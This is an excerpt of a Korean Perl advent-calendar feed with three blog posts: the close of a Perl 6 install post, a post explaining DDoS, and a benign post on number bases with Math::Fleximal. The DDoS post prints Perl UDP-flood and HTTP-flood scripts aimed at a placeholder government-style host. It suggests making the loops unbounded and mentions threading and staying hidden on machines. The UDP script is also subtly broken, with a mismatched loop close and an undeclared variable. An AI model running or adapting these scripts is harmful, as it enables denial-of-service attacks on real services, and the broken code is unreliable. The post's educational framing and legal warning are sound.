시스템을 더럽(?)힐 걱정 없이 마음껏 Perl 6를 설치하고 가지고 놀 수 있습니다.
아직 갈 길이 많이 남은 Perl 6긴 하지만, 안정 버전이 나온지 벌써 1년이 되가고,
매 달 발빠르게 업데이트가 되고 있는 만큼, 부담없이 설치해서 Perl 6를 느껴보면 어떨까요?</p>
<p>Enjoy Your Perl 6! ;-)</p>
<p><em>EOT</em></p>
2016-12-03T00:00:00+09:00keediDDoS가 무엇인가요?http://advent.perl.kr/2016/2016-12-02.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>가끔 특정 사이트가 DDoS 공격으로 인해 서비스 장애가 일어났다는 기사를 접하기도 합니다.
<a href="https://en.wikipedia.org/wiki/Denial-of-service_attack#DDoS_extortion">DDoS</a>는 DoS(서비스 거부 공격, Denial of Service attack)의 기법 중 하나인
분산 서비스 거부 공격(Distributed DoS, DDoS, 디도스)입니다.
여러 시스템을 이용해 공격을 시도하며 다양한 방법을 통해 동시에 공격하는 것으로,
서버의 네트워크 및 전산 자원을 빠르게 고갈시켜 네트워크가 먹통이 되게 만든다거나
원활한 서비스 이용이 불가능하게 만드는 것이 핵심입니다.</p>
<p><img src="2016-12-02-1_r.jpg" alt="일반인(?)의 흔한 DDoS 공격" id="ddos" />
<em>그림 1.</em> 일반인(?)의 흔한 DDoS 공격 (<a href="2016-12-02-1.jpg">원본</a> / <a href="https://www.facebook.com/raiseup1114/photos/a.953404921396900.1073741827.953396081397784/1297833713620684/?type=3">출처</a>)</p>
<p>특별히 취약점을 공략하거나, 침투를 해야하는 것이 아니기 때문에,
공격을 시도할 여러 시스템을 확보하는 것이 관건이지 공격 자체가 기술적으로 어려운 것은 아닙니다.
대표적으로 특정 웹 사이트에 접속한 뒤 브라우저의 갱신 버튼인 <code>F5</code>를 지속적으로
연타하는 것 역시 여러 시스템에서 행한다면 일종의 DDoS 공격으로 볼 수 있습니다.
그럼에도 불구하고 효율성의 측면에서 대부분의 공격자들은 간단한 스크립트를 작성해서 공격을 시도하는 것 같습니다.
DDoS라... 이름은 그럴 듯해서 엄청난 것 같지만 과연 이런 스크립트에는 이론적으로 어떤 기법이 들어 있을까요?</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.
두 모듈 모두 따로 설치하지 않아도 Perl 5와 같이 배포되는 기본 모듈입니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Socket">CPAN의 Socket 모듈</a></li>
<li><a href="https://metacpan.org/pod/IO::Socket">CPAN의 IO::Socket 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan \
IO::Socket \
Socket
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan \
IO::Socket \
Socket
</pre>
<h2 id="udp">UDP 범람</h2>
<p>UDP 범람(flooding)의 경우 <a href="https://en.wikipedia.org/wiki/SYN_flood">SYNFlood</a> 등의 기법과는 달리 빠른 시간 내에
네트워크 대역폭을 소모 시키는 것이 목적으로 가장 흔하게 사용하는 DDoS 공격 중 하나일 것입니다.
UDP의 특성상 작고 빠른 요청이 가능하기 때문에 <code>Socket</code> 기본 모듈만 사용해도
비교적 간단히 스크립트를 작성할 수 있습니다.</p>
<pre class="brush: perl;">
use utf8;
use strict;
use warnings;
use feature qw( say );
use Socket;
my $host = "www.fresident.go.xx";
my $port = 80;
my $max = 10;
my @ips = gethostbyname($host) or die "cannot resolve $host: $!\n";
@ips = map { inet_ntoa($_) } @ips[4 .. $#ips];
say for @ips;
socket( my $sock, PF_INET, SOCK_DGRAM, 17 )
or die "socket: $!\n";
my $count = 0;
while ( $count < $max ) {
my @chars = ( "0" .. "9", "a" .. "z", "A" .. "Z" );
my $str = q{};
$str .= $chars[ int( rand( scalar(@chars) ) ) ] for 1 ..1024;
$size = int( rand( 1024 - 64 ) ) + 64;
my $packet = pack "a$size", $str;
for my $ip (@ips) {
my $iaddr = inet_aton("$ip")
or die "cannot resolve ip: $ip\n";
printf "$count: $ip\n", ++$count;
send( $sock, $packet, 0, pack_sockaddr_in( $port, $iaddr ) );
}
);
</pre>
<p>간단하죠? 우선 <code>gethostbyname()</code> 함수를 이용해 도메인 네임을 IP로 풀이를 합니다.
사이트에 따라 다르겠지만 부하 분산이 되어있는 대부분의 사이트는
여러 서버로 구성되었기 때문에 IP 목록을 확보할 수 있습니다.
이후 <code>socket()</code> 함수를 이용해서 UDP 연결용 소켓을 생성합니다.
전송할 자료는 특별히 의미가 없으므로 64 ~ 1024개의 랜덤 문자열을 생성하고
이를 <code>pack()</code>을 이용해 적절히 바이너리 형식으로 전환합니다.
이후 IP 주소를 <code>inet_aton()</code> 함수를 이용해서 소켓에서 사용할 수 있게 변경하고,
<code>send()</code> 함수로 소켓에 랜덤 문자열을 날려버리면 끝입니다.
마지막으로 이런 요청을 몇 번이나 수행할지는 <code>$max</code> 변수로 조정하겠죠.</p>
<h2 id="http">HTTP 범람</h2>
<p>HTTP 범람(flooding)은 말그대로 HTTP 프로토콜을 이용해서 요청을 보내는 것입니다.
솔직히 여러번 요청한다는 점을 제외한다면 평범한 HTTP 요청과 다를바 없습니다.
이번에는 <code>IO::Socket</code> 모듈을 사용해볼까요?</p>
<pre class="brush: perl;">
use utf8;
use strict;
use warnings;
use IO::Socket;
my $host = "www.fresident.go.xx:80";
my $max = 10;
my $count = 0;
while ( $count < $max ) {
my $sock = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $host,
) or die "cannot bind : $!\n";
print $sock "GET /?$_ HTTP/1.0\r\n\r\n";
my $res = <$sock>;
printf "$count: $res", ++$count;
close($sock);
}
</pre>
<p>HTTP 요청을 도와주는 <a href="http://www.cpan.org/">CPAN</a> 모듈은 무척 많지만,
단순히 첫 페이지 정도 요청해서 응답 코드를 확인하는 것이 전부라면
굳이 <a href="https://metacpan.org/pod/LWP">LWP 모듈</a>이나 <a href="https://metacpan.org/pod/HTTP::Tiny">HTTP::Tiny 모듈</a>까지
쓰지 않고 <code>Socket</code> 또는 <code>IO::Socket</code> 모듈을 쓰는 것으로도 충분합니다.
특별히 DDoS 공격이 아니더라도, 구축한 시스템의 성능을 파악하거나,
설치한 웹방화벽이 잘 동작하는지 확인하는 용도로도 유용하게 사용할 수 있습니다.
필요하다면 <code>$max</code> 값을 충분히 큰 값으로 설정한다던가, 또는 무한 반복문 형태로 바꿀 수도 있겠죠.</p>
<h2>정리하며</h2>
<p>간단히 DDoS 공격 스크립트 그 자체에 대해서 알아보았습니다.
아무래도 어떻게 공격하는지 알아야 어떤식으로 예방해야 할지에도 도움이 될테구요.
꽤 거창해보였는데 막상 코드를 들여다보니 김빠지죠?
DDoS 요청도 프로토콜 상의 특징을 이용하는 만큼 여러가지 기법이 더 있겠지만
큰 틀에서 봤을때 짧은 시간에 감당할 수 없는 요청을 보내는 것이 핵심이다보니
막상 요청을 보내는 부분 자체는 비교적 간단한 편입니다.
그렇기 때문에 해당 요청이 악의를 가진 것인지 평범한 요청인지 구분하기 어려운 것이 사실이기도 하구요.
DDoS의 경우 요청 자체보다는 어떻게 하면 요청을 보낼 수 있는 네트워크 자원을 확보하냐는 것이 중요하기도 합니다.
물론 DDoS 스크립트도 프로그램이다보니 어떻게하면 더 효율적으로 짧은 시간에 많은 요청을
생성하는지 고민할테고, 이를 위해 쓰레드를 사용한다던가, 티나지 않게 시스템에서 상주하면서
필요할때 동작하게 한다던가 등도 고민할 것 같군요.
아! 그리고 어찌됐든 DDoS 공격도 어느정도 위법하게 보는 시각이 있으니
이런 류의 스크립트를 함부로 구동하는 것은 법적으로 매우 위험하다는 점 잊지 마세요. :-)</p>
<p>Enjoy Your Perl! ;-)</p>
<p>P.S.</p>
<p>브라우저에서 <code>F5</code>를 누르는 행동을 범죄라고 보기는 좀 어려울 것 같긴 합니다만...
변호사가 아니라 잘은 모르겠네요. :-)</p>
<p><em>EOT</em></p>
2016-12-02T00:00:00+09:00keedi진법 이야기http://advent.perl.kr/2016/2016-12-01.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>진법은 <a href="https://en.wikipedia.org/wiki/Numeral_system">기수법(記數法, numeral system)</a>이라고 하며 수를 시각적으로 나타내는 방법으로,
기수법을 통해서 나타나는 각각의 숫자는 다른 수들과 구별되는 표기 방식을 가집니다.
현대의 기수법이라는 용어는 일반적으로 숫자의 위치와 계수를 이용하여 수를 나타내는
위치값 기수법(positional system)을 의미합니다.
우리가 평소에 가장 흔하게 사용하는 수 체계는 10진법입니다.
시계를 볼 때는 60진법 또는 12진법, 24진법을 사용하기도 하며,
컴퓨터를 즐겨 사용하는 프로그래머들은 2진법과 8진법, 16진법 역시도 사용하곤 합니다.</p>
<p><img src="2016-12-01-1_r.jpg" alt="10진법을 16진법으로 변환하기" id="" />
<em>그림 1.</em> 10진법을 16진법으로 변환하기 (<a href="2016-12-01-1.jpg">원본</a> / <a href="http://www.wikihow.com/Convert-from-Decimal-to-Hexadecimal">출처</a>)</p>
<p>이정도면 충분한 것 같지만 사실 상황에 따라 더 다양한 진법이 필요한 경우도 있습니다.
예를 들면 <a href="https://en.wikipedia.org/wiki/International_Standard_Book_Number">ISBN</a>이 그러한데 ISBN은 <code>0</code>에서 <code>9</code>까지의 십진 숫자 이외에도
<code>X</code>를 추가로 더 사용하기 때문에 11진법이라고 볼 수 있죠.
이론적으로 어떤 숫자라도 N진법으로 얼마든지 표현할 수 있습니다.
따라서 필요에 따라 원하는 진법으로 수를 표현하거나
흔히 사용하는 진법의 숫자로 변환하는 방법을 알아두면 꽤 유용하죠.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Math::Fleximal">CPAN의 Math::Fleximal 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Math::Fleximal
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Math::Fleximal
</pre>
<h2>2진법 그리고 8진법, 16진법</h2>
<p>펄은 내장 함수로 <code>oct()</code>라는 편리한 진법 변환 함수를 지원합니다.
대부분의 프로그래머는 2진법과 8진법, 16진법 정도면 충분하기 때문에
<code>oct()</code>의 사용법 정도만 알아두어도 편리하게 사용할 수 있습니다.
<code>oct()</code> 함수는 2진법 또는 8진법, 16진법의 숫자를 10진법의 숫자로 변환합니다.</p>
<pre class="brush: perl;">
use utf8;
use strict;
use warnings;
use feature qw( say );
say oct("0b1111"); # ( 1 * 2**3 ) + ( 1 * 2**2 ) + ( 1 * 2**1 ) + ( 1 * 2**0 )
say oct("0755"); # ( 7 * 8**2 ) + ( 5 * 8**1 ) + ( 5 * 8**0 )
say oct("0xFF"); # ( 15 * 16**1) + ( 15 * 16**0 )
</pre>
<p><code>oct()</code> 함수는 <code>0b</code>로 시작하는 경우 2진수로, <code>0</code>으로 시작하는 경우 8진수로,
<code>0x</code>로 시작하는 경우 16진수로 간주합니다.
실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ perl oct.pl
15
493
255
</pre>
<p>역으로 10진수를 2진수나, 8진수 16진수로 바꾸려면 <code>sprintf()</code> 내장 함수를 사용합니다.
적절한 형식 문자열을 사용해서 진법 변환을 수행할 수 있는데
<code>%b</code>는 2진수로, <code>%o</code>는 8진수로, <code>%x</code>는 16진수로 변환합니다.
특히 16진수를 대문자로 표시하고 싶다면 <code>%X</code>를 사용하면 됩니다.</p>
<pre class="brush: perl;">
use utf8;
use strict;
use warnings;
use feature qw( say );
say sprintf( "0b%b", 15 );
say sprintf( "0%o", 493 );
say sprintf( "0x%X", 255 );
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ perl sprintf.pl
0b1111
0755
0xFF
</pre>
<h2 id="math::fleximal">Math::Fleximal</h2>
<p>흔히 사용하는 2진법과 8진법, 16진법을 펄 환경에서 사용하는 것은 무척 쉽습니다.
하지만 36진법이 필요하다면 어떨까요? 조금 머리가 아파오죠? :-)
<a href="https://metacpan.org/pod/Math::Fleximal">CPAN의 Math::Fleximal 모듈</a>은 N진법이 필요한 여러분을 위해 준비되어 있는 편리한 모듈입니다.
이해하기 쉽게 <code>Math::Fleximal</code> 모듈을 사용해 16진법을 표현해보죠.
우선 특정 진법을 사용하겠다면 해당 진법에서 표현할 숫자 범위를 결정해야 합니다.
16진법이라면 <code>0</code>에서 <code>9</code>와 더불어 <code>A</code>에서 <code>F</code>까지의 범위를 사용해 0에서 15까지의 수를 한 자리에 표현합니다.</p>
<pre class="brush: perl;">
use utf8;
use strict;
use warnings;
use feature qw( say );
use Math::Fleximal;
my $num1 = Math::Fleximal->new( "FF", [ 0..9, "A".."F" ] );
say $num1->to_str; # FF
say $num1->base_10; # 255
</pre>
<p><code>new()</code> 메소드를 이용해서 특정 진법의 숫자 객체를 생성합니다.
첫 번째 인자는 표현하려는 숫자 <strong>문자열</strong>이며,
두 번째 인자는 해당 진법에서 사용할 숫자 범위인 <strong>배열 참조</strong>입니다.
이렇게 생성한 객체를 표현하려면 <code>to_str()</code> 메소드를 사용합니다.
우리가 늘 쓰는 진법이 10진법인 만큼 10진법으로의 변환은 워낙 자주 사용하기 때문에
아예 <code>base_10()</code>이라는 이름으로 메소드가 미리 만들어져 있습니다.
따라서 언제든지 10진수로 표현하려면 해당 메소드를 사용하면 됩니다.</p>
<p>반대로 10진수를 16진수로 바꾸는 방법 역시 대동소이합니다.</p>
<pre class="brush: perl;">
my $num2 = Math::Fleximal->new( 255, [ 0..9 ] );
my $num3 = $num2->change_flex( [ 0..9, "A".."F" ] );
say $num3->to_str; # FF
</pre>
<p>가끔은, 진법 객체 생성 시점에는 어떤 숫자를 저장할지 판단하기 어려울 수 있습니다.
이럴 때는 진법 객체를 먼저 생성한 다음 이후 원하는 숫자를 설정하면 됩니다.</p>
<pre class="brush: perl;">
my $num4 = Math::Fleximal->new( "0", [ 0..9, "A".."F" ] );
#
# blah blah...
#
$num4->set_value("F0C9");
my $num5 = $num4->change_flex( [ 0, 1] );
say $num4->to_str;
say $num5->to_str; # 1111 0000 1100 1001
</pre>
<h2>36진법?</h2>
<p>간단한 사용법을 확인했으니 앞서 언급한 36진법을 사용해볼까요?
36진법을 사용하려면 우선 한 자리를 표현하기 위해 필요한 문자 셋트를 정의해야 합니다.
마침 숫자가 10개이며 알파벳이 26개이니 <code>0</code>에서 <code>9</code>와 더불어 <code>A</code>에서 <code>Z</code>까지의 범위를
사용해 0에서 35까지의 수를 한 자리에 표현하면 되겠군요.</p>
<pre class="brush: perl;">
use utf8;
use strict;
use warnings;
use feature qw( say );
use Math::Fleximal;
my @digits = ( 0 .. 9, 'A' .. 'Z' );
my $num = Math::Fleximal->new( "0", \@digits );
</pre>
<p><code>Math::Fleximal</code>은 간단한 연산도 이미 지원하기 때문에 사칙연산의 경우
매번 N진법의 숫자를 10진법으로 변환한 다음 사칙연산을 수행하고 다시
해당 N진법으로 교체할 필요가 없습니다.
사칙연산은 각각 <code>add()</code>, <code>substr()</code>, <code>mul()</code>, <code>div()</code> 메소드를 이용하면 간단히 처리할 수 있습니다.
컴퓨터를 사용해서 <code>000</code>부터 <code>ZZZ</code>까지 3자리 범위의 숫자 목록 중 1000개를 순차적으로 뽑아보죠.
3자리라고 우습게 볼 수 없는 것이 36진법이기 때문에 범위의 숫자 개수는
<code>36 ** 3 - 1</code>로 무려 46655개입니다. :)</p>
<pre class="brush: perl;">
my $num = Math::Fleximal->new( "0", \@digits );
my $count = 0;
while ( $count < 1000 ) {
printf "%s(36) = %s(10)\n", $num->to_str, $num->base_10;
++$count;
$num = $num->add( $num->one );
}
</pre>
<p>사칙연산 중 사용한 <code>one()</code> 메소드는 해당 진법 객체로 1을 표현할 때 사용하는 것입니다.
유사하게 <code>zero()</code>를 사용해 0을 표현할 수도 있습니다.
아니, 1이 <code>1</code>이고 0이 <code>0</code>이지라고 생각할 수도 있지만, 사실 <code>Math::Fleximal</code>을 사용해서
객체 생성을 할때 0을 <code>X</code>로 표현할 수도 있고 1을 <code>#</code>으로도 표현하는 등,
N진법의 한 자리를 표현하기 위해 사용할 문자는 여러분이 정하는 것이기 때문이죠.</p>
<p>실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ perl 36.pl
0(36) = 0(10)
1(36) = 1(10)
2(36) = 2(10)
...
X(36) = 33(10)
Y(36) = 34(10)
Z(36) = 35(10)
10(36) = 36(10)
11(36) = 37(10)
12(36) = 38(10)
...
RP(36) = 997(10)
RQ(36) = 998(10)
RR(36) = 999(10)
$
</pre>
<h2>정리하며</h2>
<p>아니, 대체 36진법을 어디다 쓰냐구요? :-)
제 경우 <a href="http://theopencloset.net/">후원하는 단체</a>의 내부 물류를 전산화하는 과정 중
물품에 각각의 식별 코드를 달아야 했는데 바코드 리더를 사용했기 때문에
시스템적으로는 많은 물류를 표현하는데 큰 문제는 없었습니다.
하지만 시간이 지나면서 바코드 리더기 없이도 직원들이 물류에 붙인
태그를 읽거나 메모지에 기록을 해야할 상황이 생기기 시작했고,
이 때 바코드로 표현한 10진 숫자의 자릿수가 꽤 길었기 때문에 바코드 리더기와
컴퓨터 없이는 의사소통이 힘든 경우가 있었죠.
이 때 바로 36진법이 크나큰 역할을 합니다.
10진법이 한자리 숫자로 10개를 표현하는데 비해 36진법은 한자리 숫자로 36개의
숫자를 표현하기 때문에 단 4자리의 36진법 숫자로 1679615개의 10진법 숫자를 표현할 수 있었죠.
진법이 더 커진다면 2~3자리로도 가능하겠지만, 현실적으로 숫자 10개와
알파벳 26개를 조합했을때 가능한 수치가 36진법이기 때문에 선택한 것이죠.
물론 알파벳을 대소문자로 구분할 경우 62진법도 가능하지만, 훈련되지 않은
일반인이 알파벳 대소문자를 구분하고 이를 읽거나 적는데 드는 비용은 크다고
판단했으며, 그래서 적절한 선에서 조율한 것이 36진법이었죠.
어찌됐든 펄(Perl)과 <a href="http://www.cpan.org/">CPAN</a>을 이용하면 정말 손쉽게
여러분이 원하는 진법을 표현하고 계산할 수 있다는 점 잊지마세요!</p>
<p>Enjoy Your Perl! ;-)</p>
<p><em>EOT</em></p>
2016-12-01T00:00:00+09:00keedi